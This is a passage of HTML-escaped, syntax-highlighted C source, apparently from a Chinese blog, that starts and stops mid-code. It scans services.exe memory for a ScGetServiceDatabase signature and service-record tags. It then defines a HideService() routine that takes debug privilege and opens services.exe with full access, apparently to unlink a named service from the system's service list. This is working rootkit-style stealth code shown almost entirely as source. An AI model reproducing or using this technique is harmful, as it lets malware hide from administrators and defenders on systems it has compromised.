#000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;pMap)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwSize&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;12&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;for&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(i&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwSize;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;++&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;i)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;搜索services!ScGetServiceDatabase特征代码&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(DWORD&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)(pMap&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;i)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0xa1909090&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(DWORD&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)(pMap&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;i&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;8&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0x909090c3&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmpBuffer[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmpBuffer,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;map&amp;nbsp;is&amp;nbsp;0x%08x\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;(DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)(pMap&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;i)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmpBuffer&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(ReadProcessMemory(hProcess,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(PVOID&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)(pMap&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;i&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;4&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pSvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(PVOID),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwRead)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadProcessMemory(hProcess,&amp;nbsp;pSvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(SvcRd),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwRead)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SvcRd.sErv&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;vrEs&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;ServiceRecord结构的特征&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pRet&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;pSvcRd;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmpBuffer[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmpBuffer,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pRet&amp;nbsp;is&amp;nbsp;0x%08x\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;(DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)(pSvcRd)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmpBuffer&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UnmapViewOfFile(pMap);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hFileMap);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hFile);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;printf(&amp;nbsp;"addr:&amp;nbsp;0x%08x\n",&amp;nbsp;(DWORD&amp;nbsp;*)pRet&amp;nbsp;);&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;pRet;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;隐藏服务&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;BOOL&amp;nbsp;HideService(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Name&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Pid;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SC_SERVICE_RECORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pSvcRd;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwRead,&amp;nbsp;dwNameSize;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SvcName[MAX_PATH]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwNameSize&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;wcslen(Name)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(WCHAR);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(dwNameSize&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(SvcName))&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Pid&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetProcessIdByName(&amp;nbsp;TEXT(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Services.exe&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmpBuffer1[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmpBuffer1,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Pid&amp;nbsp;is&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;Pid&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmpBuffer1&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(Pid&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SetDebugPrivilege()&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;OpenProcess(PROCESS_ALL_ACCESS,&amp;nbsp;FALSE,&amp;nbsp;Pid);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hProcess)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pSvcRd&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FindFirstServiceRecord(hProcess);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;pSvcRd)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Can't&amp;nbsp;Find&amp;nbsp;ServiceDatabase.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hProcess);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;do&lt;/span&gt;&lt;span style="COLOR: 